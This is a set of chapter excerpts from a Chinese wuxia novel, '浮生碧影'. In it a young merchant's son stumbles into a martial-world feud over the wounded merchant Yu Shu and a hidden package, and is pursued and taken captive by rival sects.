《浮生碧影》 1. 初遇(一) 《浮生碧影》全本免费阅读 姑苏城外,树林中。 “少爷!那里好像有人!”小厮杨焕指着远处树下的一团黑影叫道。 方瑾瑜快步上前,果然看到一个人蜷缩在地上。他俯下身去看,那人是个中年男子,身上衣服被利器划得七零八落,勉强可以看出是大户人家的管事或是帮闲的服色。从破碎的布料中露出一道道深浅不一的伤口,有的已经凝结,布满血痂,还有的仍然在缓缓地往外渗出血珠,黑夜里看来十分可怖。 方瑾瑜正准备伸手探他鼻息,便听到耳后生风,仿佛有人从他身后扑了过来。他听音辨位,身子向左一侧,敏捷地避开了来人的攻击。对方应变也极迅速,脚步一点,身子继续向前,右手已抓住他的右肩。方瑾瑜矮下身子,稍一运劲便抖落了负在肩上的手,旋即转身横剑在手,看到五个黑衣蒙面之人已将自己团团围住。 “你们是何人?”方瑾瑜一面小心警戒一面暗自盘算:“这些人上来就如此凶狠,估计不是什么好人。” 其中一个黑衣人道:“你又是谁?为什么要搀和余家的事?和我们结上梁子,只怕你脖颈上不大好看。” “什么叫‘脖颈上不大好看’?” “脖子上留下个碗大的疤,很好看么。”隔着蒙面,瑾瑜都能听到对面几人好不掩饰的讥笑。 他不欲惹事,连连拱手:“我们只是过路之人,因在道旁看到血迹,担心有人受伤才过来堪堪。不过是想着如能照拂一二,也算是一件仁义之事,并不认识什么余家。诸位似乎有些误会,咱们解开些便了。” 黑衣人冷笑:“现在想来撇清干系?当我们是傻子!刚才耽误爷爷办大事的时候,怎么不见你告饶?” 这话说得奇怪,我们刚刚碰面,什么时候耽误过你们? 方瑾瑜不及说话,那人又道:“少蒙老子,老子眼睛还没瞎。想拖延时间,老子就陪你玩玩。”接着便挺剑向他刺来。 那人嘴上轻蔑,但动起手来却是和其他四人齐上,倒像是对自己颇为忌惮的样子。方瑾瑜在家时只和父亲、舅舅等不多的几个人切磋过剑法,一向也不在江湖上行走,像这般真刀真枪地对敌还是头一回,紧张之余还有些兴奋。此时不敢大意,唯有集中精神看清对手的招式来路,一一勉力拆解,严守门户,远远望去只能看见一团黑影和剑光点点。 跟在后面的杨焕听见打斗之声也冲了过来。敌人以为他还有帮手,相互望了几眼,出手便越来越快。瑾瑜刚开始还能勉励支持,对面刀剑拳脚半点都沾不到他的衣衫,可是时间一长,他注意力下降,剑招便有些迟滞起来。 他心下着急,灵光一闪:“他们五个打我一个,这般只守不攻恐怕难有胜场。也罢,此时拼他一下。” 剑招一变,使一招“寒芒冲霄”,分刺前后二人。面前一人当即中剑,立刻缩身向后闪避。按“寒芒冲霄”原本的招式,是要直刺向前之后画个圈子,向后再刺。 但此时方瑾瑜被人紧紧包围,刺中一人之后,再想转圈便有些困难。圈子画到一半,右臂便被右前方使刀一人划了个口子,还算他变招迅速,立马收剑转身,才不至重伤,还侥幸刺中了左边一人的小腿。 对方攻势稍缓,但仍将瑾瑜围在核心。此时杨焕已经赶到,敌人十分聪明,只把身子一闪,裂开个口子让他进来,就这样将主仆二人一起围在了圈内。 方瑾瑜不免焦虑起来:“杨焕的功夫不及我,还没有兵器,我们两个加在一块也未必能斗得过这些人,这可如何是好。” 敌人与他拆过几招后已经瞧出他功夫不怎么厉害,心里纷纷嘀咕:“这小子功夫怎么突然变差了?” 一人问:“莫不是我们追错了人?” 另一人道:“余漱就在此处,就算这小子不是刚才那个,也必然与之同伙,先抓住这个便是。” 又一人附和:“不管是不是同伙,既知道了咱们的秘密,也活不成了。上!” 他一声令下,包括先前中剑之人,都挺兵器分别刺向方瑾瑜和杨焕。瑾瑜勉强护住杨焕和自己,心中更急。 就在此时,一道白影从树上落下,也不知使了什么招数,接连刺中三个黑衣人的脖颈。那三人应声而倒,顷刻间便没了声息。 来人全身白衣,面上还挂着白色的面纱,朦胧月色下整个人仿佛裹在银光之中。余下两个黑衣人见自己的同伴顷刻间被杀,心中发怵,不由得退了两步。 只听其中一个大喊:“这才是刚才那个!” 另一人还未说话,白衣人持剑已到,还算他躲闪及时,只受了点皮外伤。白衣人招式娴熟老辣,一语不发,只管频频进招。情势瞬间逆转,两个黑衣人左冲右突,却丝毫脱离不了白衣人的攻击范围。方瑾瑜和杨焕反倒没了用武之地,只能站在一旁观战。 方瑾瑜便再次附身去看地上那人,虽然呼吸比较急促,但蓬勃有力,似乎并无性命之忧。 另一边,白衣人已迅速占住上风,逼得两个黑衣人连连倒退。黑衣人中武功较高那个见形势不利,趁自家兄弟与白衣人相搏之际,矮着身子退走,绕到了其身后。白衣人挥剑向上,已刺中当前一人胸口,长剑顺势贯胸而出,中剑之人眼见是没有活气儿了。 瑾瑜看的分明,此人本要闪避,却被先前退走的那人从斜后方推了一掌,致使他站立不住,才向白衣人的剑狠狠撞了过去。白衣人的剑紧紧卡在他的身躯内,急切拔不出来,另一个黑衣人则瞅准机会,屈膝跳起,自上而下攻去。 瑾瑜立刻纵身而上,剑指那人小腿。那人觑到鬓边有一团白影飞来,心神微分,为免受伤,只得右脚斜出,踢掉瑾瑜的剑,但因此向着白衣人的剑尖也偏了许多,只刺中了他的左臂。 白衣人向后退闪,瑾瑜长剑脱手。那人趁机逃走,再也追不上了。 白衣人右手持剑撑在地上,左臂伤口颇深,血流不止。方瑾瑜好意上前查看,关心的话尚未出口,却听他冷冷地道: “你为什么放他走了?” 是个女子的声音。 “我与他们无怨无仇,虽然因一时误会动起手来,倒也不必步步紧逼。” “无怨无仇?他们险些杀了此人,还想杀了你灭口,你却轻易放脱了他们?” 瑾瑜被她抢白,急忙辩解:“地上之人还没死,论理他们没有杀人,也就罪不至死,你为了救人,已经杀了他们当中四个了,这最后一个放过了也属应当,总不能赶尽杀绝吧。” 那女子很是无语:“如果这个人回去搬了救兵,再来劫杀,那时候他们人多势众,你要如何抵挡?你不愿意赶尽杀绝,他们可不见得会放过你。更何况他们缘何要追杀此人?难道不要问个清楚?” 她说话动了气,臂上伤口血流加 2. 初遇(二) 《浮生碧影》全本免费阅读 方瑾瑜心中大惊:“难道有敌人追来?我们竟丝毫都没有发现?”又想,“那位姑娘怎得也不出声提醒?她定然已遭毒手了!?”直到他试探着慢慢转过身来,才发现用剑指着他的,不是别人,就是那个“已遭毒手的姑娘”。 白衣女子虽以白纱遮面,旁人看不到她的神色,但目光中透出寒意,一副极不信任别人的样子。 “你是谁?为什么要掺和余家的事?” 方瑾瑜心里想:“原来我刚才和那帮黑衣人说的话,她没有听到。”就又解释了一遍,“我只是路过看到血迹,担心有人受伤,才过去一探究竟,并不清楚到底发生了什么,也并不知道什么余家。” “地上躺的可是余漱余老爷,江南一代有名的富商,你不认识他?” 方瑾瑜这才明白原来先前那些黑衣人口中的“余家”竟是姑苏城北的富商余漱。余漱家财万贯,在江南一代声势极大。不仅在生意场上朋友极多,江湖中也有不少相识。方家也与余家有些生意上的往来,不过这些事情一向由父亲和管家杨邠主理,他倒从未和余漱会过面。 此时见白衣女子问起,他只得耐心辩解:“我自然之道余漱的名头,但也只是在听家父谈起生意上的掌故时略闻一二。我家里规矩大,第一条就是远离武林纷争,我也一向谨遵父命,从不涉足江湖。这次只是碰巧遇到他,哪里敢管什么余家之事。” 白衣女子见他说的恳切,信了半分,但嘴上仍不放松:“既然你说自己一向不涉江湖,这大晚上的看到有人行凶,不是该远远躲开吗?” 方瑾瑜正色道:“‘不涉江湖’只是不参与江湖上争夺杀戮,并非不顾仁义道德。那道旁血迹面积很大,又很新鲜,说明左近必然有人受了重伤等待救治。我和家人想要帮忙而已,算不上涉足江湖吧。” 那女子沉默半响,似是在估量他的话里有多少水分,许久才说了句:“你倒是好心。” “事实确实如此,在下不敢欺瞒。” “你不是本地人?” 她言语虽然客气,但仍旧意在打探,瑾瑜心中不满:“她的疑心怎么这么重。罢了,父亲的姓名也不是什么不可告人的秘密,就算被她知道了也没什么。”便将自己的家世背景一股脑儿说了出来,“我姓方,名瑾瑜。家父的名讳上乂下安。我家做些酒水上的生意,在湖州城里有些虚名。姑娘要是不信,自可去湖州问上一问。” 那女子点点头,显然对他的回答颇为满意,还剑入鞘,拱手道:“方公子真诚,是在下多疑了。” 方瑾瑜也马上还礼:“姑娘不必客气。行走江湖颇多风险,小心些是常理。” “正是如此。我见公子虽有些武艺,但招式运用并不熟练,想必平日里的确很少动武。只是你无意间撞见了江湖仇杀,面目也已被敌人知悉,只怕这些贼人不会善罢甘休,路上须得当心。” 方瑾瑜听出她的好意:“多谢姑娘提醒,我和家人自当小心。” 那女子又点了点头,眼光不住地瞥向躺在地上的余漱。 他顺着白衣女子的目光看去,刚想说话,她的右掌却乍然袭来,他急切向外闪避才躲过一击。哪知白衣女使的乃是虚招,只待瑾瑜闪开,便立刻向余漱扑过去,三两下拾起他的身躯就朝门外冲出。杨焕在门外“哎呦”了一声,待方瑾瑜追出,只看到他倒在地上,而白衣女子和余漱已不见了踪影。 杨焕从地上爬起来,拍着灰:“少爷,怎么回事?那位姑娘怎么……” 方瑾瑜轻叹:“她还是不信任我们。” 杨焕又问:“我见她往那边去了,要不要追?” 他犹豫了一下:“我们原本不该管这些闲事,她既然没有害人之心,就由她去吧。”返身去庙内拿起自己的剑,收拾好包袱,对跟在身边的杨焕道:“时候不早了,咱们快些回去。” 杨焕却似没听见一样,望着地上的什么东西,向瑾瑜招手:“少爷,你来看。” 方瑾瑜走过去,在刚才那人身下的茅草底下,似乎有什么红色的东西。杨焕将茅草扫至一旁,底下赫然露出几个殷红的字:“代我保管,他日来取。”旁边还有一个小包裹。 方瑾瑜将它拿起来仔细观察,那包似乎是用一种鱼皮制成的,可以防水,四周的针脚也十分工整,想是专门用来存放贵重之物的。他手上用力捏了几下,隔着外皮也分辨不出里面装着什么。 杨焕道:“这里面是什么?咱们要不要打开看看。” 方瑾瑜摇头:“他人之物,阅之无益。他既然说‘他日来取’,我们便帮他保管便了。” “可是他怎么知道我们住在哪里,如何来取?” “他偷偷留下此语,定然是听到了我与那女子的说话。” 杨焕没听明白:“少爷你说什么?” “咱们边走边说。”两人一面往客栈行去,方瑾瑜一面把庙里发生的事简略说给杨焕。 方瑾瑜向白衣女子所说的内容全部都是事实。他家在湖州,家里有一个酒坊,以酿酒卖酒为生,虽不是大富大贵,但也生活优渥。他是家中独子,未及弱冠,孝顺懂事又知书达理,年前开始学着料理家中产业,一些远近适宜、道路便当的送货典账之事,也会渐渐地交予他办理。 此次来姑苏就是受父亲之命来送货的。货物交割完毕,方瑾瑜打发了其余伙计先回湖州,只留下小厮杨焕作伴,要为下个月过生辰的母亲选一件稀罕的寿礼。他虽是富家少爷,但待下极为和善,出手又很大方,在外少不了要吃好的玩好的,杨焕巴不得晚回去几天,在外面逍遥自在呢,自然不会十分劝阻。 方瑾瑜千挑万选了几日,几乎逛遍了姑苏城内大小十余家古玩店、首饰铺、南北货栈,终于选到了一匹绣着鸾尾花的上好琦云丝、一套苏州最顶尖的玉工雕琢的玉器摆件和十几匣苏 3. 入局(一) 《浮生碧影》全本免费阅读 翌日,方瑾瑜和杨焕又耽搁了半日去租船,计划沿水路南下。午间就在客栈简单用了一餐,收拾好行囊便立刻动身去找船家。 船家老实本分,自被下定就开始做行船的准备,生怕误了主顾的行程。瑾瑜二人一到,他帮着把包袱行囊规置好,便立刻准备开船。 船家有个儿子,看身量尚未成年,想是在船上呆的时间长,皮肤被日头晒伤了,一张脸黑黢黢的,胳膊和双腿捂得十分严实。瑾瑜温言和他说了两句话,他也畏畏缩缩的,很是怕羞。杨焕暗暗猜测这必是船家的老来子,倒不是船家长得太老,主要是他无论吃饭喝水,凡事都先想着自己儿子,把儿子捧得像个宝贝一样。 杨焕昨晚上没睡够,上船之后哈欠连连,反正路程还远,瑾瑜就叫他去船舱休息,自己则立在船头看船家摇桨,船家的儿子小五在船尾盯着江水发呆。 再次回想起昨晚的际遇,瑾瑜心中盘桓着几个问题:那些人是谁?为什么要杀余漱?哪位姑娘又是谁?她与余漱是什么关系?也不知她去了哪里?奈何毫无头绪,这些问题怕是永远也得不到解答了。 正沉思间,一艘船飞快地从侧边驶来,船上只有两个人,一人摇桨,另一人朝着自己不住张望。瑾瑜觉得奇怪,不知他们在看什么。只见那只船绕到自己所乘小船之后便一直远远跟着,瑾瑜心中警铃大作,面上却强自镇定,一面假意和船家攀谈,一面留意着后面船只的动向。过了一会儿,那艘船越过自己向前驶去,瑾瑜便稍稍放下心来。 又过了一个时辰,另有一艘大船缓缓驶近。船有两层楼那么高,却只能在二层夹板上见到四五个人,他们正盯着瑾瑜交头接耳,其中一个还不住点头。船家也注意到了蹊跷,前后不住地张望。瑾瑜虽然心慌,却安慰船家“不妨事”。仍是,不到一刻钟,大船驶过,过了一段时间又没了踪影。 晚饭十分,船家把船靠在一处水湾,小五帮着父亲做饭。杨焕已经睡醒,从船舱内出来,伸了个懒腰,眼睛随意往边上扫过,突然手臂一僵,向瑾瑜道:“少爷,有一伙人在岸上瞧着我们。” 瑾瑜过去从他的位置一看,果见十来个人在岸边驻足,不断向这边指指点点。这十来个人服色不同,站的也较分散,想来是不同的人马,刚好凑在此处。 瑾瑜心下愈疑,和杨焕略略说起目前的情势,杨焕惊道:“他们是一直跟着咱们么?” “我们来试一试他们。” 瑾瑜便吩咐杨焕:“你去叫船家开船,饭咱们一会再吃。” 杨焕点头去了。船一开动,岸上聚集的那些人果然立马行动起来,沿着岸边随行。另有一些人散开来往市镇中去了。行了半个时辰,水面越来越阔,岸上仍有几个骑马之人跟随。 此时,先前那艘大船和小船也出现在视线范围之内,原来它们并未驶离,只不过在前面等着瑾瑜的船过去。 杨焕把握清楚形势,向瑾瑜道:“少爷,这些人就是冲着咱们来的。可是为了什么?他们要劫财吗?” 瑾瑜默然无语,想起昨晚白衣女子的话来,轻声道:“或许是和昨晚上的事情有关。” 杨焕一听之下顿时明白,急道:“这可如何是好?这水上四面透风,根本无处躲藏啊。” 瑾瑜一面盘算一面说着:“咱们只有四个人,老的老、小的小,武艺更是不值一提,的确难办。不过这些人只是远远地跟着,并没有要攻上来的意思,你说这是为什么?” 杨焕顺着瑾瑜的话,又逐个看了看跟着他们的几批人马,回道:“他们还没想好要不要下手?” 瑾瑜点头:“我们不过无意间撞见了他们追杀余漱,并不了解什么机密,他们没有杀人的必要。” 杨焕没有他这么乐观:“少爷你忘了,昨晚上那些人可是要杀人灭口的。” 白衣女子也说过类似的话,但他始终不肯相信这些江湖人真会为了这一点小事就杀人,思忖着:“看他们的样子,当是几批不同的人马。这么长时间一直没有人动手,说不定这些人之间相互忌惮,是以不敢贸然出手。” “天马上就黑了,再等一会,我们只会更加危险。” 瑾瑜也知杨焕所虑甚是,只是左看右看,似乎也没有个妥善的法子,一时踌躇住了。 到日暮时分,跟着他们的人越来越多,杨焕数了数,向瑾瑜道:“少爷,咱们身后一共有一艘大船,五六艘小船,这还不算岸上那些乱七八糟的人。再这样下去,难保不出事故。” 船家虽然早觉得气氛不对,但技术老道,船依旧平稳。瑾瑜没有更好的办法,吩咐船家莫要停船,只管前进。 如杨焕所言,天色越来越暗,加上今日天色阴沉,很快就看不到岸边的情况,只有跟着自己的几艘船上还有点点微弱的火光。 瑾瑜扯住船家,叫他别点灯,并招来小五和杨焕。船舱里伸手不见五指,只能听到瑾瑜急切的低语:“趁着天黑,我们弃船逃生。只要我们悄没声息的下水,他们应当不会那么快发觉。船会继续沿着去势向前,运气好的话,要过一会他们才会发觉船上无人,那时我们就安全了。” 杨焕扯住瑾瑜的手就要走,瑾瑜忙把他拉回来,仍旧低声:“不可,两个人一起下水动静太大,他们会发觉的,我们一个一个下去。小五最小,先下去,杨焕你随后。辛苦船家先去摇橹,切记和惯常一样,莫要露出马脚。还有,请尽可能贴着水草走,我们好下去躲藏。一会我发信号,我们向两边下水。” 船家虽然害怕,但也不敢多话,默默地回到船头。 此时小五突然出声:“我不会水,我不下去。” 瑾瑜无暇细想,只得吩咐杨焕:“你先走,这里我再想办法。” “不行,少爷。老爷千叮咛万嘱咐,绝对不能让你涉险。我一个人走了,如何向老爷交待。你和我一起走。” “那船家和小五怎么办?他们是因我才踏入险地,难道能扔下他们不管吗?” 杨焕语塞,确实也说不出这样不讲理的话。 瑾瑜紧接着说:“我知道你担心我。可我也不能为了一己安危就罔顾他人死活。” 杨焕也是一个心地良善的年轻人,此时已被瑾瑜 4. 入局(二) 《浮生碧影》全本免费阅读 两人均被绑缚,由几个人牵着绳子往后游去,过了一会,便到了那艘大船的左近。船上抛下绳子,将瑾瑜连拉带扯地送至甲板,曾看到过的对自己指指点点的那几个人眼下就在身边,只不过他们还是站着,瑾瑜二人只能是躺着了。 带着他们游回来的人向其中一个四十来岁面黑无须的人回禀:“帮主,这小子被我们抓住了。” 帮主笑道:“很好,一会到帮里面领赏去吧。”一面又问:“这就是我们要得人吗?” 他身边另一位年轻人说道:“回禀帮主,据咱们的眼线说,昨晚在树林中救走余漱的一共有三个人,一个女的,两个男的。” “这怎么只有两个?” 带着他们上船的人指着瑾瑜:“船家已经被我们杀了,”又指着小五:“这小子应该是昨晚和他在一起的仆从。”末了补充一句:“倒是那个白衣女子,一直没有出现。”一面说一面觑着帮主的神色,似乎怕他怪罪。 帮主却不甚在意:“我们这么多人,一个小小女子又能如何?” 回话那人想要反驳,又觉得还是少多嘴为好,便默不作声。 帮主的目光落在小五身上:“既然是个小喽啰,就先杀了吧,免得多事。” 瑾瑜心中大骇:“这些人杀人不眨眼!”然后使劲挣扎起来,即使被绑着也要扑上去阻止对方杀人,无奈甲板上到处是敌人,自己稍有动作便被人踢一脚,叫他动弹不得。 眼看小五就要身首异处,突然间从桅杆上翻下三个人来,挡在瑾瑜二人和不知是什么帮的歹人之间。三人尚未落地,便有个声音响起:“邓帮主,别来无恙啊。” 邓帮主听了,脸色陡变,暗忖:“人尚在半空,声音却无丝毫凝滞之处,好高的内力。”右手一抬,原本准备挥刀斩向小五那人便住手了。 邓帮主堆起假笑,向来人道:“吴先生,别来无恙?到我们流沙帮的地界有何贵干呐?” “流沙帮”这三个词,是放重了语调说的,意在提醒这位“吴先生”莫要越界。 吴先生大约五十岁,一副学究打扮,身后两名弟子也是儒生模样。只见他打开扇子扇了两下,神情骄傲,说道:“听说这里有一件稀奇的东西,老夫耐不住寂寞,特地来瞧瞧热闹。” 他那扇子比平常文人用的扇子要大一些,扇面是黑的,并无山水题字,黑夜里看来几乎不见,只有扇骨在月色下闪着光,一望便知这是由上等精钢打造出的一件兵器。扇子上下翻覆,众人的目光也随着他的扇子转来转去。 邓帮主语带讥诮,面上却仍旧挂着笑容:“吴先生一向只在淮扬一代活动,竟然长了一副好灵的耳朵,连这江南边的事情也听说了。” 吴先生脖子挺得直直地:“‘江南江北一边同’,消息不分南北,既然你能听到,我也能听到。这听到了嘛,也就免不了来管上一管。” 邓帮主仍旧皮笑肉不笑:“吴先生话虽不假,可惜我们流沙帮的弟兄们捷足先登,这件稀奇的东西已经有主了。吴先生要只是想瞧一瞧,我自也不敢驳您老人家的面子,可如果……嘿嘿……” 吴先生摇着扇子:“邓帮主这话就不对了,这件稀奇的东西本来就是无主之物,自然是见者有份,可不是你邓帮主一个人说了算的。” 听他们二人打嘴仗,瑾瑜心中也疑惑起来:“什么‘稀奇的东西’,我们是人,又不是东西!”转念又想:“难道他们是想要昨晚那人留下的包裹?” 此时这个布包正在他的怀中,他被迫弓着身子,尚能感觉到包裹的一丝存在。要是随便哪个人上来一搜,这个包裹可就守不住了。 瑾瑜暗暗埋怨自己,实在是太掉以轻心了,不禁再次想起昨晚那个白衣女子来,如果是她,必然不会这么愚蠢。 邓帮主和吴先生正僵持着,流沙帮的一个帮众叫道:“帮主,你看!”手往船下一指,两艘小船正飞快驶近。 邓帮主快速环视四周,果见另一边也有三艘船驶过来。小船速度快,不过一会均已靠近大船,随即有十来个人飞身而上,立在了甲板之上。 他脸色难看得紧,向来者道:“林夫人、郝寨主,你们也要来插一脚?” 来人中一个四十来岁的妇人先道:“邓帮主,你要坏了这太湖上的规矩不成?如此宝贝,岂能叫你独吞?” 邓帮主轻蔑地看了她一眼:“林夫人,这里已不是太湖的地界,我怎么就坏了太湖的规矩了?” 另一个肌肉结实,满脸胡须的大汉哑着嗓子大吼:“邓钊,你故意等这船过了我的地盘才动手,当我们看不出来你打的算盘吗?” 邓帮主对他更是不屑,连看都不看就斥道:“郝鹏祖!流沙帮和你们太湖水匪一向井水不犯河水。看的起你,才叫你一声‘郝寨主’,你当真不知自己几斤几两?要是惹恼了老子,哼!” 郝鹏祖原是一点就着的性子,听了这话哪里能忍耐得住,从身后抽出别在腰带上的一对渔叉模样的兵器,大喝:“邓钊,你们流沙帮干的什么买卖,这太湖上下没有人不知道,你又充什么大样!咱们凭本事吃饭,就请亮兵刃吧!”说话间已然冲了过来。 郝鹏祖一副粗汉模样,手中却拿着一个细细小小的渔叉,显得有些滑稽,谁知武起来却风声阵阵,似乎有千斤力道。邓钊则从怀中摸出一柄短刀,脚步一转绕到郝鹏祖身后,朝他背上砸去。郝鹏祖虽然粗大,身体却十分灵活,当即矮身向后一滚,鱼叉向后,眼看就要戳中邓钊小腿。 甲板上空间不大,此时又站了二十多个人,他们两个打起来,其余众人都不得不闪到一边,瑾瑜和小五也被流沙帮的人提着扔到了船头。 邓钊腰上用劲,向上一翻,不待郝鹏祖站直,已经落到其背后,眼看郝鹏祖就要中刀,林夫人斜刺里杀出来,挡在了两人中间,以二对一又斗在了一起。林夫人使一把细长的弯刀,和郝鹏祖一长一短,配合默契,邓钊再想伤人已是不能了。 吴先生在一旁扇着扇子,像是在欣赏猴儿戏耍一般,不时叫两声好,但声音中并无半点赞叹之意。 就在此时,又有两个人飞身上船,口中大叫:“有好东西自然也少不了我们响水帮!” 吴先生抚掌大笑:“淮安的兄弟也到了,当真热闹、热闹!” 瑾瑜见船上至少有四方势力,惟愿他们相互争斗,弄个两败俱伤,自己才好趁机救人逃脱。 邓钊原本想着在流沙帮的势力范围内下手,至少能占个先儿,即使后面争夺起来自己也能分个大头。没想到觊觎这宝贝的人实在太多,又都不是讲理之辈,恐怕自己的如意算盘真的要落空了,不免心中焦急。但他是老江湖,焦躁之间依旧招式沉稳,反倒是郝鹏祖一味强攻,让他渐渐占据上风。若不是林夫人在一边翼护,郝鹏祖恐怕早就被扔下水去了。 吴先生向新来的二人施礼道:“ 5. 入局(三) 《浮生碧影》全本免费阅读 这倒不是假话。众人都曾听闻,近来有一户财主在太湖边鼋头渚圈建了一所极大的宅院,但庄主很神秘,大家都不知道是谁,也没人见过他的真面目。 项大道:“我只道倪家庄向来不理江湖事,没想到私底下竟然罗致了您这样的高手。” 赵绪良笑道:“富家大户家财众多,最是绿林大盗的眼中钉,哪个不需要一个半个会武的人看家护院。” 他说倒是说得轻巧,但是能请到他这样身份的武林人士看家护院,越发说明这个倪家庄不简单。 他见众人默默,显然自己的话收到了效果,接着道:“你们姑苏的大财主余漱不也喜欢和江湖上的人交朋友么?” 众人听他提到余漱,心中又是一惊。 邓钊眼见到嘴的鸭子就要飞走,十分心焦,不客气道:“看来赵兄不是来说和的,倒是来收渔翁之利的。” 赵绪良夸张地摆手:“哎呀,邓兄多虑了。我家庄主爱好和平,最不希望太湖左近发生一点不愉快的事,故而派我前来请各位到倪家庄坐一坐,咱们有理说理,不要伤了和气才好。” 邓钊不服:“这两个小子是我们流沙帮先盯上的,道理清楚得很,不必再讲。” 林夫人驳斥道:“你怎么知道是你们先盯上的。我的人从他们上船开始就一直跟着。” 项式兄弟也说:“林夫人说的对,从这艘船出发开始,就已经有许多人马盯着了,邓帮主这话不妥。” “人是我们流沙帮拿下的,他的东西自然就是我们的,谁也不能染指。”邓钊十分蛮横。 吴先生嗤之以鼻:“这里的人哪个拿不下这几个小子?不过是看在大家的面子上,都没有动手罢了。” “这样一直不动手,难道我们要把这小子一直送回家去吗?” 在一旁听着的赵绪良插了进来:“大家切莫动气。邓帮主说的也有理,这搜罗宝贝,自然要有人当先。邓帮主给大家当了敲门砖,我们心里都记得。” 其余众人正要分辨,赵绪良放大音量,又道,“但是,”众人安静少许,“邓帮主,我问你,这船头的人是余漱么?” 邓钊不语。 “邓帮主已经找到藏宝图的所在了么?” 邓钊嘴角抽动,还是没有说话。 “杀害彭城派掌门、长业帮三老和杨世坤满门的凶手都找到了么?” 邓钊忍耐不住,大声道:“只要抓到这些人好好审问,必有所获!” 赵绪良哈哈一笑:“也就是说邓帮主目前一无所获,那么在这里的诸位弟兄都还有机会咯。” 其余众人都点头称是。 赵绪良郑重向众人施了一礼:“请诸位听在下一言。一则这件事的起因是彭城派、长业帮和杨家满门的人命官司,咱们江湖上‘义’字当先,宝贝虽然难得,可凶手也不能不问。二则此事难决,宝贝的下落咱们还一无所知,要是现在就争起来,不但伤了和气也不免各有损伤,到时候后悔都来不及了。既然和余漱有关的人已经拿到,不如找个宽敞的地方仔细审问,便知端详。” 他的话言之成理,连瑾瑜也觉得他彬彬有礼,比先前那些不由分说就动刀子的人要可爱得多。 吴先生将扇子一收,先道:“老夫认为赵兄所言合情合理,咱们不如就去倪家庄叨扰一阵,要是能破了悬案,给彭城派掌门、长业帮三老、杨兄弟报仇,也是好事一件。如果运气好,还找到了宝贝,咱们再按功劳一起分了,岂不是两全其美。” 林夫人和郝鹏祖对视一眼,心道:“单凭武力,我们肯定敌不过这么多人,况且此间势力复杂,即使有幸夺来,也必然惹出许多麻烦,不如就听赵绪良的,总是能沾些光。” 项式兄弟也不住点头:“如此甚好,吴先生是武林前辈,我们都听您的。” 邓钊虽然不愿,但这时已容不得他说不,也只好答应了。 赵绪良露出满意的笑:“这样就再好不过了。在下还有一句话,这里的两个人只让流沙帮的兄弟看着不妥,不如吴先生的弟子帮忙照看一下,好让大家安心?” 邓钊动了动嘴,最终忍了下去。流沙帮的弟子十分不服,邓钊一个眼神过去,众人便不敢做声。 吴先生拱手:“诸位放心,老朽势单力薄,只有这两个徒弟,绝对不敢夹带私逃。” 林夫人和项式兄弟都道:“吴先生肯出面,我们都没有异议。” 当下计较已定,除了流沙帮上下和吴先生及他的两个弟子,余者都准备各自回到自己船上。 赵绪良却提议:“小船太慢,在下已经预备好了船只,请诸位跟我一起走吧。” 众人往江中一望,不远处缓缓驶来一艘大船,也是雕梁画栋,装饰精致。 众人再次吃惊,心想:“倪家庄做好了万全的准备,幸亏我们说去,要是有半个不字,只怕今日也难收场。” 项式兄弟会齐响水帮众人,林夫人和郝鹏祖也领着各自的人马上船,赵绪良引路,两艘大船一前一后往北行去。行了一整夜,船于清晨靠岸,岸上已有一大批人在等候。 “诸位一夜辛苦,既然商议定了,这调处之事也不必急在一时。我家庄主还邀请了江湖上另几路英豪,这两日便可会齐。不如请各位在庄中稍事休息,倪家庄自然会好酒好菜招待。”赵绪良还是一副殷勤的样子。 几位为首之人均不答话,而是看着被绑缚的瑾瑜二人。 赵绪良察觉了众人的意思,立刻说:“诸位放心,既然说好了同审同问,自然谁也不能私下接触他们。” 林夫人点点头:“赵兄弟说的不错。可这里是你们倪家庄的地方,我们都还没摸清路数,谁能保证没有人单独见他们呢。”她替众人发言,大家都点头称是,拿眼睛望着赵绪良。 “林夫人所虑在下明白。”赵绪良一拍手,两个人走上前来,向众人作了一揖。 邓钊和吴先生立刻变了脸色,林夫人脱口道:“辽东双霸!?” “诸位果然见多识广,这两人的确是横行江湖多年的‘辽东双霸’,可惜如今都被拔去了舌头,不能和诸位叙话了。不过他们有一点好处,那就是决计不可能从人口中套话。” 那两个人闻言张大了嘴巴,里面空荡荡地什么也没有,看上去煞是诡异。赵绪良面上浮现出得意的微笑,更令众人心中一凛:“‘辽东双霸’虽不如赵绪良名头大,但也是有头有脸的江湖人物,倪家庄却能拔了他们的舌头,让他们如此俯首帖耳,当真好辣的手段!” 赵绪良接着道:“诸位还可从自己的门人弟子中选出一人来,和“辽东双霸”一起看守。不过丑话说在前头,这两位兄弟许久没人练手了,手痒的利害,谁要是惹恼他们,是死是伤殊难预料。” 众人沉默了一会,吴先生先开了口:“咱们客随主便,‘辽东双霸’看守就很妥当。倪庄主既然花了这么大力气请下我们,自然也不会为了小事得罪武林同道。” “这个自然。庄子西面有一座地牢,建在天井之下,上面用铁栏杆封的死死的,过往之人都可以看到里面的情况。诸位若是闲来无事,谁都可以到那边去散散步消消食什么的,倪家庄的人绝对不会阻拦。”赵绪良这样说,便是众人随时可以查看的意思,大家自然都没有了异议。 “辽东双霸”便过来接过了缚住瑾瑜二人的绳子,往西面而去。邓钊使个眼色,一名流沙帮的弟子跟了过去,其中各路人马中也都出了一个人去踩踏地方。赵绪良只作不见,一面给众人带路,一面吩咐管事给各个帮派分派住处,整治酒菜。 ***************************** 瑾瑜口不能言,被捆得像个粽子一样,一路上被所谓的“辽东双霸”拎着走了许久,才直直落入一处地牢之中。地牢建在地下,顶部的铁栅栏仅容一人出入。 地牢里十分潮湿阴暗,只从上面那一尺见方的铁栅栏里透出些光 6. 脱身(一) 《浮生碧影》全本免费阅读 文紫璇从怀中取出小瓶,倒出两粒瑾瑜那日见过的小药丸来,递给他一粒:“看样子他们也不会送饭来给我们吃,这药可以帮助你恢复体力。” 瑾瑜接过服下,不多会四肢百骸便暖意融融,身子果然不似先前那般疲惫。 “此间高手不少,为了保险,咱们最好等半夜再行动。这段时间你先运功休息。” 瑾瑜在家时和几位长辈学过一些功夫招式,但他性子懒散,每日功课大多欠账。这次遇到变故,才深知自己武艺有限,后悔以前怎么不多听父亲的话勤加练习。此时见文紫璇闭目运功,不发一语,他也收敛心神,开始调整内息。 待到太阳下山,四下里许多灯火亮起来,地牢中更觉黑暗。瑾瑜听到头顶上的人来来往往,偶尔还有一两个驻足片刻,猜想是各门派的人休息足了,前来看看他们的情况,心道:“还好这地牢颇深,上面只能模模糊糊地看到人影。否则我与文姑娘坐在这里,不是原本被捆缚的模样,他们见了定会疑心。” 